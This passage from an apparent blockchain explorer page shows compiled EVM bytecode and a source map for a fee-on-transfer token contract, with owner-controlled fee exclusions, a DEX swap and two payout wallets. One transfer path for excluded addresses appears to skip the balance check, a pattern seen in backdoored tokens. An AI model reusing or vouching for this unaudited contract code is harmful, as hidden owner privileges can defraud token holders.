10068184611910565b600a60008282546110b2919061182d565b909155506110c7905060006110068184611910565b600b60008282546110d8919061182d565b90915550505b80156110ef576110ef863083611161565b6110f981856118fd565b93505b611107868686611161565b505050505050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b0383166111875760405162461bcd60e51b81526004016108cb90611875565b6001600160a01b0382166111ad5760405162461bcd60e51b81526004016108cb906118ba565b6001600160a01b038316600090815260208190526040902054818110156112255760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016108cb565b6001600160a01b0380851660009081526020819052604080822085850390559185168152908120805484929061125c90849061182d565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516112a891815260200190565b60405180910390a350505050565b6001600160a01b03808416600090815260208190526040808220805485810390915592851682528120805484929061125c90849061182d565b3060009081526020819052604081205490506000600a54600b54611313919061182d565b9050811580611320575080155b15611329575050565b6113547f00000000000000000000000000000000000000000000000000000000000000006015611910565b821115611389576113867f00000000000000000000000000000000000000000000000000000000000000006015611910565b91505b8147611394826114cc565b60006113a082476118fd565b9050600084600b54836113b39190611910565b6113bd9190611927565b6000600a819055600b819055604051919250906001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169083908381818185875af1925050503d8060008114611435576040519150601f19603f3d011682016040523d82523d6000602084013e61143a565b606091505b50506040519091506001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016904790600081818185875af1925050503d80600081146114a8576040519150601f19603f3d011682016040523d82523d6000602084013e6114ad565b606091505b50505050505050505050565b60006114c58284611927565b9392505050565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061150157611501611949565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561157f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115a3919061195f565b816001815181106115b6576115b6611949565b60200260200101906001600160a01b031690816001600160a01b031681525050611601307f000000000000000000000000000000000000000000000000000000000000000084610b58565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063791ac9479061165690859060009086903090429060040161197c565b600060405180830381600087803b15801561167057600080fd5b505af1158015611107573d6000803e3d6000fd5b600060208083528351808285015260005b818110156116b157858101830151858201604001528201611695565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610b5557600080fd5b600080604083850312156116fa57600080fd5b8235611705816116d2565b946020939093013593505050565b60008060006060848603121561172857600080fd5b8335611733816116d2565b92506020840135611743816116d2565b929592945050506040919091013590565b60006020828403121561176657600080fd5b81356114c5816116d2565b6000806040838503121561178457600080fd5b823561178f816116d2565b9150602083013580151581146117a457600080fd5b809150509250929050565b600080604083850312156117c257600080fd5b82356117cd816116d2565b915060208301356117a4816116d2565b600181811c908216806117f157607f821691505b60208210810361181157634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8082018082111561083757610837611817565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b8181038181111561083757610837611817565b808202811582820484141761083757610837611817565b60008261194457634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561197157600080fd5b81516114c5816116d2565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119cc5784516001600160a01b0316835293830193918301916001016119a7565b50506001600160a01b0396909616606085015250505060800152939250505056fea264697066735822122096ca505e9a5ae5b262bdbffce9ea7309cf8b83d043d09bc3eb7c5c329f01308a64736f6c634300081300334f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572
Deployed Bytecode
0x6080604052600436106102555760003560e01c80638da5cb5b11610139578063c0246668116100b6578063dd62ed3e1161007a578063dd62ed3e146106d2578063e2f4560514610718578063f11a24d314610469578063f2fde38b1461074c578063f637434214610469578063f887ea401461076c57600080fd5b8063c02466681461062d578063c424134c1461064d578063c876d0b91461067d578063d5f394881461069e578063d85ba0631461046957600080fd5b80639fccce32116100fd5780639fccce32146105a7578063a0d82dc514610469578063a457c2d7146105bd578063a9059cbb146105dd578063b62496f5146105fd57600080fd5b80638da5cb5b146105405780638ea5220f1461055e578063921369131461046957806395d89b41146105925780639c3b4fdc1461046957600080fd5b8063313ce567116101d25780636ddd1713116101965780636ddd17131461047e57806370a082311461049f578063715018a6146104d55780637571336a146104ec57806375f0a8741461050c5780637bce5a041461046957600080fd5b8063313ce567146103c057806339509351146103dc57806349bd5a5e146103fc5780634fbee193146104305780636a486a8e1461046957600080fd5b80631a8145bb116102195780631a8145bb1461033d5780631f3fed8f1461035357806323b872dd1461036957806327c8f835146103895780632e82f1a01461039f57600080fd5b806306fdde0314610261578063095ea7b31461028c5780631694505e146102bc57806318160ddd14610308578063199ffc721461032757600080fd5b3661025c57005b600080fd5b34801561026d57600080fd5b50610276610794565b6040516102839190611684565b60405180910390f35b34801561029857600080fd5b506102ac6102a73660046116e7565b610826565b6040519015158152602001610283565b3480156102c857600080fd5b506102f07f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b039091168152602001610283565b34801561031457600080fd5b506002545b604051908152602001610283565b34801561033357600080fd5b5061031960065481565b34801561034957600080fd5b50610319600c5481565b34801561035f57600080fd5b50610319600a5481565b34801561037557600080fd5b506102ac610384366004611713565b61083d565b34801561039557600080fd5b506102f061dead81565b3480156103ab57600080fd5b506005546102ac90600160b01b900460ff1681565b3480156103cc57600080fd5b5060405160128152602001610283565b3480156103e857600080fd5b506102ac6103f73660046116e7565b6108ec565b34801561040857600080fd5b506102f07f000000000000000000000000c86c0337726bc662367158ceb29778bc8c2fbacc81565b34801561043c57600080fd5b506102ac61044b366004611754565b6001600160a01b031660009081526008602052604090205460ff1690565b34801561047557600080fd5b50610319600081565b34801561048a57600080fd5b506005546102ac90600160a01b900460ff1681565b3480156104ab57600080fd5b506103196104ba366004611754565b6001600160a01b031660009081526020819052604090205490565b3480156104e157600080fd5b506104ea610928565b005b3480156104f857600080fd5b506104ea610507366004611771565b61095e565b34801561051857600080fd5b506102f07f000000000000000000000000f1344ec6b4788c887962ab10c8b3535da092103c81565b34801561054c57600080fd5b506005546001600160a01b03166102f0565b34801561056a57600080fd5b506102f07f0000000000000000000000004b71ef85ebe695a72b274eac7bee0646e5a4155a81565b34801561059e57600080fd5b506102766109b3565b3480156105b357600080fd5b50610319600b5481565b3480156105c957600080fd5b506102ac6105d83660046116e7565b6109c2565b3480156105e957600080fd5b506102ac6105f83660046116e7565b610a5b565b34801561060957600080fd5b506102ac610618366004611754565b60076020526000908152604090205460ff1681565b34801561063957600080fd5b506104ea610648366004611771565b610a68565b34801561065957600080fd5b506102ac610668366004611754565b60096020526000908152604090205460ff1681565b34801561068957600080fd5b506005546102ac90600160a81b900460ff1681565b3480156106aa57600080fd5b506102f07f000000000000000000000000f726cb593e1d498c8cc0b5523569bc8d3e2db65681565b3480156106de57600080fd5b506103196106ed3660046117af565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561072457600080fd5b506103197f0000000000000000000000000000000000000000000069e10de76676d080000081565b34801561075857600080fd5b506104ea610767366004611754565b610abd565b34801561077857600080fd5b506102f0737a250d5630b4cf539739df2c5dacb4c659f2488d81565b6060600380546107a3906117dd565b80601f01602080910402602001604051908101604052809291908181526020018280546107cf906117dd565b801561081c5780601f106107f15761010080835404028352916020019161081c565b820191906000526020600020905b8154815290600101906020018083116107ff57829003601f168201915b5050505050905090565b6000610833338484610b58565b5060015b92915050565b600061084a848484610c7c565b6001600160a01b0384166000908152600160209081526040808320338452909152902054828110156108d45760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6108e18533858403610b58565b506001949350505050565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161083391859061092390869061182d565b610b58565b6005546001600160a01b031633146109525760405162461bcd60e51b81526004016108cb90611840565b61095c600061110f565b565b6005546001600160a01b031633146109885760405162461bcd60e51b81526004016108cb90611840565b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b6060600480546107a3906117dd565b3360009081526001602090815260408083206001600160a01b038616845290915281205482811015610a445760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016108cb565b610a513385858403610b58565b5060019392505050565b6000610833338484610c7c565b6005546001600160a01b03163314610a925760405162461bcd60e51b81526004016108cb90611840565b6001600160a01b03919091166000908152600860205260409020805460ff1916911515919091179055565b6005546001600160a01b03163314610ae75760405162461bcd60e51b81526004016108cb90611840565b6001600160a01b038116610b4c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016108cb565b610b558161110f565b50565b6001600160a01b038316610bba5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016108cb565b6001600160a01b038216610c1b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016108cb565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ca25760405162461bcd60e51b81526004016108cb90611875565b6001600160a01b038216610cc85760405162461bcd60e51b81526004016108cb906118ba565b80600003610ce157610cdc83836000611161565b505050565b6001600160a01b03831660009081526008602052604090205460ff1680610d2057506001600160a01b03821660009081526008602052604090205460ff165b8015610d3557506001600160a01b0382163014155b8015610d4a57506001600160a01b0383163014155b15610d545742600e555b6001600160a01b03831660009081526008602052604090205460ff168015610dac575060086000610d8d6005546001600160a01b031690565b6001600160a01b0316815260208101919091526040016000205460ff16155b15610dbc57610cdc8383836112b6565b6001600160a01b03831660009081526008602052604090205460ff16158015610dfe57506001600160a01b03821660009081526008602052604090205460ff16155b15610e83576001600160a01b03831660009081526007602052604090205460ff1615610e4f576001600160a01b0382166000908152600d602052604081208054909103610e49574281555b50610e83565b6001600160a01b0383166000908152600d60205260409020600e548154610e7691906118fd565b6002820155426001909101555b306000908152602081905260409020547f0000000000000000000000000000000000000000000069e10de76676d0800000108015908190610ec75750600f5460ff16155b8015610eec57506001600160a01b03841660009081526007602052604090205460ff16155b8015610f1157506001600160a01b03841660009081526008602052604090205460ff16155b8015610f3657506001600160a01b03831660009081526008602052604090205460ff16155b15610f5b57600f805460ff19166001179055610f506112ef565b600f805460ff191690555b600f546001600160a01b03851660009081526008602052604090205460ff91821615911680610fa257506001600160a01b03841660009081526008602052604090205460ff165b15610fab575060005b600081156110fc576001600160a01b03861660009081526007602052604090205460ff168015610fd9575060005b1561104e576064610feb600086611910565b610ff59190611927565b905061100c60006110068184611910565b906114b9565b600a600082825461101d919061182d565b90915550611032905060006110068184611910565b600b6000828254611043919061182d565b909155506110de9050565b6001600160a01b03851660009081526007602052604090205460ff168015611074575060005b156110de576064611086600086611910565b6110909190611927565b90506110a160006110068184611910565b600a60008282546110b2919061182d565b909155506110c7905060006110068184611910565b600b60008282546110d8919061182d565b90915550505b80156110ef576110ef863083611161565b6110f981856118fd565b93505b611107868686611161565b505050505050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b0383166111875760405162461bcd60e51b81526004016108cb90611875565b6001600160a01b0382166111ad5760405162461bcd60e51b81526004016108cb906118ba565b6001600160a01b038316600090815260208190526040902054818110156112255760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016108cb565b6001600160a01b0380851660009081526020819052604080822085850390559185168152908120805484929061125c90849061182d565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516112a891815260200190565b60405180910390a350505050565b6001600160a01b03808416600090815260208190526040808220805485810390915592851682528120805484929061125c90849061182d565b3060009081526020819052604081205490506000600a54600b54611313919061182d565b9050811580611320575080155b15611329575050565b6113547f0000000000000000000000000000000000000000000069e10de76676d08000006015611910565b821115611389576113867f0000000000000000000000000000000000000000000069e10de76676d08000006015611910565b91505b8147611394826114cc565b60006113a082476118fd565b9050600084600b54836113b39190611910565b6113bd9190611927565b6000600a819055600b819055604051919250906001600160a01b037f0000000000000000000000004b71ef85ebe695a72b274eac7bee0646e5a4155a169083908381818185875af1925050503d8060008114611435576040519150601f19603f3d011682016040523d82523d6000602084013e61143a565b606091505b50506040519091506001600160a01b037f000000000000000000000000f1344ec6b4788c887962ab10c8b3535da092103c16904790600081818185875af1925050503d80600081146114a8576040519150601f19603f3d011682016040523d82523d6000602084013e6114ad565b606091505b50505050505050505050565b60006114c58284611927565b9392505050565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061150157611501611949565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561157f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115a3919061195f565b816001815181106115b6576115b6611949565b60200260200101906001600160a01b031690816001600160a01b031681525050611601307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84610b58565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac9479061165690859060009086903090429060040161197c565b600060405180830381600087803b15801561167057600080fd5b505af1158015611107573d6000803e3d6000fd5b600060208083528351808285015260005b818110156116b157858101830151858201604001528201611695565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610b5557600080fd5b600080604083850312156116fa57600080fd5b8235611705816116d2565b946020939093013593505050565b60008060006060848603121561172857600080fd5b8335611733816116d2565b92506020840135611743816116d2565b929592945050506040919091013590565b60006020828403121561176657600080fd5b81356114c5816116d2565b6000806040838503121561178457600080fd5b823561178f816116d2565b9150602083013580151581146117a457600080fd5b809150509250929050565b600080604083850312156117c257600080fd5b82356117cd816116d2565b915060208301356117a4816116d2565b600181811c908216806117f157607f821691505b60208210810361181157634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8082018082111561083757610837611817565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b8181038181111561083757610837611817565b808202811582820484141761083757610837611817565b60008261194457634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561197157600080fd5b81516114c5816116d2565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119cc5784516001600160a01b0316835293830193918301916001016119a7565b50506001600160a01b0396909616606085015250505060800152939250505056fea264697066735822122096ca505e9a5ae5b262bdbffce9ea7309cf8b83d043d09bc3eb7c5c329f01308a64736f6c63430008130033
Deployed Bytecode Sourcemap
8965:8274:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2707:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3621:169;;;;;;;;;;-1:-1:-1;3621:169:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;3621:169:0;1023:187:1;9237:51:0;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;1405:32:1;;;1387:51;;1375:2;1360:18;9237:51:0;1215:229:1;3028:108:0;;;;;;;;;;-1:-1:-1;3116:12:0;;3028:108;;;1595:25:1;;;1583:2;1568:18;3028:108:0;1449:177:1;10214:35:0;;;;;;;;;;;;;;;;10574:33;;;;;;;;;;;;;;;;10500;;;;;;;;;;;;;;;;3798:492;;;;;;;;;;-1:-1:-1;3798:492:0;;;;;:::i;:::-;;:::i;9123:53::-;;;;;;;;;;;;9169:6;9123:53;;10175:32;;;;;;;;;;-1:-1:-1;10175:32:0;;;;-1:-1:-1;;;10175:32:0;;;;;;2927:93;;;;;;;;;;-1:-1:-1;2927:93:0;;3010:2;2442:36:1;;2430:2;2415:18;2927:93:0;2300:184:1;4298:215:0;;;;;;;;;;-1:-1:-1;4298:215:0;;;;;:::i;:::-;;:::i;9295:38::-;;;;;;;;;;;;;;;12337:120;;;;;;;;;;-1:-1:-1;12337:120:0;;;;;:::i;:::-;-1:-1:-1;;;;;12424:25:0;12400:4;12424:25;;;:19;:25;;;;;;;;;12337:120;9725:41;;;;;;;;;;;;9765:1;9725:41;;10091:30;;;;;;;;;;-1:-1:-1;10091:30:0;;;;-1:-1:-1;;;10091:30:0;;;;;;3144:127;;;;;;;;;;-1:-1:-1;3144:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;3245:18:0;3218:7;3245:18;;;;;;;;;;;;3144:127;829:103;;;;;;;;;;;;;:::i;:::-;;12465:136;;;;;;;;;;-1:-1:-1;12465:136:0;;;;;:::i;:::-;;:::i;9877:102::-;;;;;;;;;;;;;;;606:87;;;;;;;;;;-1:-1:-1;679:6:0;;-1:-1:-1;;;;;679:6:0;606:87;;9986:96;;;;;;;;;;;;;;;2815:104;;;;;;;;;;;;;:::i;10540:27::-;;;;;;;;;;;;;;;;4521:413;;;;;;;;;;-1:-1:-1;4521:413:0;;;;;:::i;:::-;;:::i;3279:175::-;;;;;;;;;;-1:-1:-1;3279:175:0;;;;;:::i;:::-;;:::i;10256:57::-;;;;;;;;;;-1:-1:-1;10256:57:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;12209:120;;;;;;;;;;-1:-1:-1;12209:120:0;;;;;:::i;:::-;;:::i;10434:57::-;;;;;;;;;;-1:-1:-1;10434:57:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;10128:40;;;;;;;;;;-1:-1:-1;10128:40:0;;;;-1:-1:-1;;;10128:40:0;;;;;;9775:95;;;;;;;;;;;;;;;3462:151;;;;;;;;;;-1:-1:-1;3462:151:0;;;;;:::i;:::-;-1:-1:-1;;;;;3578:18:0;;;3551:7;3578:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;3462:151;9185:43;;;;;;;;;;;;;;;940:201;;;;;;;;;;-1:-1:-1;940:201:0;;;;;:::i;:::-;;:::i;9041:75::-;;;;;;;;;;;;9074:42;9041:75;;2707:100;2761:13;2794:5;2787:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2707:100;:::o;3621:169::-;3704:4;3721:39;232:10;3744:7;3753:6;3721:8;:39::i;:::-;-1:-1:-1;3778:4:0;3621:169;;;;;:::o;3798:492::-;3938:4;3955:36;3965:6;3973:9;3984:6;3955:9;:36::i;:::-;-1:-1:-1;;;;;4031:19:0;;4004:24;4031:19;;;:11;:19;;;;;;;;232:10;4031:33;;;;;;;;4083:26;;;;4075:79;;;;-1:-1:-1;;;4075:79:0;;4366:2:1;4075:79:0;;;4348:21:1;4405:2;4385:18;;;4378:30;4444:34;4424:18;;;4417:62;-1:-1:-1;;;4495:18:1;;;4488:38;4543:19;;4075:79:0;;;;;;;;;4190:57;4199:6;232:10;4240:6;4221:16;:25;4190:8;:57::i;:::-;-1:-1:-1;4278:4:0;;3798:492;-1:-1:-1;;;;3798:492:0:o;4298:215::-;232:10;4386:4;4435:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;4435:34:0;;;;;;;;;;4386:4;;4403:80;;4426:7;;4435:47;;4472:10;;4435:47;:::i;:::-;4403:8;:80::i;829:103::-;679:6;;-1:-1:-1;;;;;679:6:0;232:10;741:23;733:68;;;;-1:-1:-1;;;733:68:0;;;;;;;:::i;:::-;894:30:::1;921:1;894:18;:30::i;:::-;829:103::o:0;12465:136::-;679:6;;-1:-1:-1;;;;;679:6:0;232:10;741:23;733:68;;;;-1:-1:-1;;;733:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;12554:32:0;;;::::1;;::::0;;;:25:::1;:32;::::0;;;;:39;;-1:-1:-1;;12554:39:0::1;::::0;::::1;;::::0;;;::::1;::::0;;12465:136::o;2815:104::-;2871:13;2904:7;2897:14;;;;;:::i;4521:413::-;232:10;4614:4;4658:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;4658:34:0;;;;;;;;;;4711:35;;;;4703:85;;;;-1:-1:-1;;;4703:85:0;;5398:2:1;4703:85:0;;;5380:21:1;5437:2;5417:18;;;5410:30;5476:34;5456:18;;;5449:62;-1:-1:-1;;;5527:18:1;;;5520:35;5572:19;;4703:85:0;5196:401:1;4703:85:0;4824:67;232:10;4847:7;4875:15;4856:16;:34;4824:8;:67::i;:::-;-1:-1:-1;4922:4:0;;4521:413;-1:-1:-1;;;4521:413:0:o;3279:175::-;3365:4;3382:42;232:10;3406:9;3417:6;3382:9;:42::i;12209:120::-;679:6;;-1:-1:-1;;;;;679:6:0;232:10;741:23;733:68;;;;-1:-1:-1;;;733:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;12288:26:0;;;::::1;;::::0;;;:19:::1;:26;::::0;;;;:33;;-1:-1:-1;;12288:33:0::1;::::0;::::1;;::::0;;;::::1;::::0;;12209:120::o;940:201::-;679:6;;-1:-1:-1;;;;;679:6:0;232:10;741:23;733:68;;;;-1:-1:-1;;;733:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;1029:22:0;::::1;1021:73;;;::::0;-1:-1:-1;;;1021:73:0;;5804:2:1;1021:73:0::1;::::0;::::1;5786:21:1::0;5843:2;5823:18;;;5816:30;5882:34;5862:18;;;5855:62;-1:-1:-1;;;5933:18:1;;;5926:36;5979:19;;1021:73:0::1;5602:402:1::0;1021:73:0::1;1105:28;1124:8;1105:18;:28::i;:::-;940:201:::0;:::o;7181:380::-;-1:-1:-1;;;;;7317:19:0;;7309:68;;;;-1:-1:-1;;;7309:68:0;;6211:2:1;7309:68:0;;;6193:21:1;6250:2;6230:18;;;6223:30;6289:34;6269:18;;;6262:62;-1:-1:-1;;;6340:18:1;;;6333:34;6384:19;;7309:68:0;6009:400:1;7309:68:0;-1:-1:-1;;;;;7396:21:0;;7388:68;;;;-1:-1:-1;;;7388:68:0;;6616:2:1;7388:68:0;;;6598:21:1;6655:2;6635:18;;;6628:30;6694:34;6674:18;;;6667:62;-1:-1:-1;;;6745:18:1;;;6738:32;6787:19;;7388:68:0;6414:398:1;7388:68:0;-1:-1:-1;;;;;7469:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7521:32;;1595:25:1;;;7521:32:0;;1568:18:1;7521:32:0;;;;;;;7181:380;;;:::o;12840:2813::-;-1:-1:-1;;;;;12972:18:0;;12964:68;;;;-1:-1:-1;;;12964:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;13051:16:0;;13043:64;;;;-1:-1:-1;;;13043:64:0;;;;;;;:::i;:::-;13124:6;13134:1;13124:11;13120:93;;13152:28;13168:4;13174:2;13178:1;13152:15;:28::i;:::-;12840:2813;;;:::o;13120:93::-;-1:-1:-1;;;;;13230:25:0;;;;;;:19;:25;;;;;;;;;:52;;-1:-1:-1;;;;;;13259:23:0;;;;;;:19;:23;;;;;;;;13230:52;13229:77;;;;-1:-1:-1;;;;;;13287:19:0;;13301:4;13287:19;;13229:77;:102;;;;-1:-1:-1;;;;;;13310:21:0;;13326:4;13310:21;;13229:102;13225:169;;;13367:15;13348:16;:34;13225:169;-1:-1:-1;;;;;13408:25:0;;;;;;:19;:25;;;;;;;;:58;;;;;13438:19;:28;13458:7;679:6;;-1:-1:-1;;;;;679:6:0;;606:87;13458:7;-1:-1:-1;;;;;13438:28:0;;;;;;;;;;;;-1:-1:-1;13438:28:0;;;;13437:29;13408:58;13404:146;;;13483:34;13500:4;13506:2;13510:6;13483:16;:34::i;13404:146::-;-1:-1:-1;;;;;13565:25:0;;;;;;:19;:25;;;;;;;;13564:26;:54;;;;-1:-1:-1;;;;;;13595:23:0;;;;;;:19;:23;;;;;;;;13594:24;13564:54;13560:564;;;-1:-1:-1;;;;;13639:31:0;;;;;;:25;:31;;;;;;;;13635:478;;;-1:-1:-1;;;;;13730:13:0;;13691:36;13730:13;;;:9;:13;;;;;13766:17;;13730:13;;13766:22;13762:106;;13833:15;13813:35;;13762:106;13672:211;13635:478;;;-1:-1:-1;;;;;13947:15:0;;13908:36;13947:15;;;:9;:15;;;;;14026:16;;14006:17;;:36;;14026:16;14006:36;:::i;:::-;13981:22;;;:61;14082:15;14061:18;;;;:36;13635:478;14169:4;14136:12;3245:18;;;;;;;;;;;14179;-1:-1:-1;14151:46:0;;;;;14228:33;;-1:-1:-1;14253:8:0;;;;14252:9;14228:33;:82;;;;-1:-1:-1;;;;;;14279:31:0;;;;;;:25;:31;;;;;;;;14278:32;14228:82;:125;;;;-1:-1:-1;;;;;;14328:25:0;;;;;;:19;:25;;;;;;;;14327:26;14228:125;:166;;;;-1:-1:-1;;;;;;14371:23:0;;;;;;:19;:23;;;;;;;;14370:24;14228:166;14210:294;;;14421:8;:15;;-1:-1:-1;;14421:15:0;14432:4;14421:15;;;14451:10;:8;:10::i;:::-;14476:8;:16;;-1:-1:-1;;14476:16:0;;;14210:294;14532:8;;-1:-1:-1;;;;;14604:25:0;;14516:12;14604:25;;;:19;:25;;;;;;14532:8;;;;14531:9;;14604:25;;:52;;-1:-1:-1;;;;;;14633:23:0;;;;;;:19;:23;;;;;;;;14604:52;14600:100;;;-1:-1:-1;14683:5:0;14600:100;14712:12;14810:7;14806:794;;;-1:-1:-1;;;;;14861:31:0;;;;;;:25;:31;;;;;;;;:51;;;;-1:-1:-1;14911:1:0;14861:51;14857:594;;;14964:3;14940:21;9546:1;14940:6;:21;:::i;:::-;:27;;;;:::i;:::-;14933:34;-1:-1:-1;15008:42:0;9546:1;15009:22;9546:1;14933:34;15009:22;:::i;:::-;15008:28;;:42::i;:::-;14986:18;;:64;;;;;;;:::i;:::-;;;;-1:-1:-1;15085:36:0;;-1:-1:-1;9546:1:0;15086:16;9546:1;15086:4;:16;:::i;15085:36::-;15069:12;;:52;;;;;;;:::i;:::-;;;;-1:-1:-1;14857:594:0;;-1:-1:-1;14857:594:0;;-1:-1:-1;;;;;15171:29:0;;;;;;:25;:29;;;;;;;;:50;;;;-1:-1:-1;15220:1:0;15171:50;15167:284;;;15274:3;15249:22;9765:1;15249:6;:22;:::i;:::-;:28;;;;:::i;:::-;15242:35;-1:-1:-1;15318:44:0;9765:1;15319:23;9765:1;15242:35;15319:23;:::i;15318:44::-;15296:18;;:66;;;;;;;:::i;:::-;;;;-1:-1:-1;15397:38:0;;-1:-1:-1;9765:1:0;15398:17;9765:1;15398:4;:17;:::i;15397:38::-;15381:12;;:54;;;;;;;:::i;:::-;;;;-1:-1:-1;;15167:284:0;15471:8;;15467:91;;15500:42;15516:4;15530;15537;15500:15;:42::i;:::-;15574:14;15584:4;15574:14;;:::i;:::-;;;14806:794;15612:33;15628:4;15634:2;15638:6;15612:15;:33::i;:::-;12953:2700;;;12840:2813;;;:::o;1149:191::-;1242:6;;;-1:-1:-1;;;;;1259:17:0;;;-1:-1:-1;;;;;;1259:17:0;;;;;;;1292:40;;1242:6;;;1259:17;1242:6;;1292:40;;1223:16;;1292:40;1212:128;1149:191;:::o;4942:733::-;-1:-1:-1;;;;;5082:20:0;;5074:70;;;;-1:-1:-1;;;5074:70:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;5163:23:0;;5155:71;;;;-1:-1:-1;;;5155:71:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;5323:17:0;;5299:21;5323:17;;;;;;;;;;;5359:23;;;;5351:74;;;;-1:-1:-1;;;5351:74:0;;8357:2:1;5351:74:0;;;8339:21:1;8396:2;8376:18;;;8369:30;8435:34;8415:18;;;8408:62;-1:-1:-1;;;8486:18:1;;;8479:36;8532:19;;5351:74:0;8155:402:1;5351:74:0;-1:-1:-1;;;;;5461:17:0;;;:9;:17;;;;;;;;;;;5481:22;;;5461:42;;5525:20;;;;;;;;:30;;5497:6;;5461:9;5525:30;;5497:6;;5525:30;:::i;:::-;;;;;;;;5590:9;-1:-1:-1;;;;;5573:35:0;5582:6;-1:-1:-1;;;;;5573:35:0;;5601:6;5573:35;;;